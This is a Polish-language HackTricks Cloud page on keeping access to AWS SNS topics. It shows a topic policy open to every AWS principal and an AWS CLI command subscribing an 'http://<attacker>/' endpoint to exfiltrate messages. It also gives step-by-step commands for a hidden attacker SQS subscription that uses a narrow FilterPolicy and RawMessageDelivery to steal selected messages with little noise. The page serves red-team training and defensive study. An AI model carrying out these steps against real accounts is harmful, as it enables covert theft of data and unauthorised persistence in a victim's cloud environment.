AWS - SNS Utrzymywanie dostępu
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
SNS
Aby uzyskać więcej informacji sprawdź:
Utrzymywanie dostępu
Kiedy tworzysz SNS topic musisz wskazać w polityce IAM kto ma dostęp do odczytu i zapisu. Możliwe jest wskazanie zewnętrznych kont, ARN ról, lub nawet “*”.
Następująca polityka daje wszystkim w AWS dostęp do odczytu i zapisu w SNS topic o nazwie MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Utwórz subskrybentów
Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich topiców, atakujący może utworzyć subskrybentów dla wszystkich topiców.
Należy pamiętać, że jeśli topic jest typu FIFO, można używać tylko subskrybentów korzystających z protokołu SQS.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Ukryta, selektywna eksfiltracja za pomocą FilterPolicy na MessageBody
Atakujący posiadający uprawnienia sns:Subscribe i sns:SetSubscriptionAttributes do tematu może stworzyć ukrytą subskrypcję SQS, która przekazuje tylko wiadomości, których JSON body pasuje do bardzo wąskiego filtra (np. {"secret":"true"}). To zmniejsza wolumen i wykrywalność, jednocześnie umożliwiając eksfiltrację wrażliwych rekordów.
Potencjalny wpływ: Ukryta, niskoszumowa eksfiltracja tylko wybranych wiadomości SNS z tematu ofiary.
Kroki (AWS CLI):
- Upewnij się, że polityka kolejki SQS atakującego pozwala na
sqs:SendMessagez TopicArn ofiary (Conditionaws:SourceArnequals theTopicArn). - Utwórz subskrypcję SQS do tematu:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Ustaw filtr tak, aby działał na MessageBody i dopasowywał tylko
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Opcjonalnie (stealth): włącz RawMessageDelivery, aby tylko surowy payload trafiał do odbiorcy:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Weryfikacja: opublikuj dwie wiadomości i potwierdź, że tylko pierwsza została dostarczona do kolejki atakującego. Przykładowe payloady:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Czyszczenie: wypisz subskrypcję i usuń kolejkę SQS atakującego jeśli została utworzona do persistence testing.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

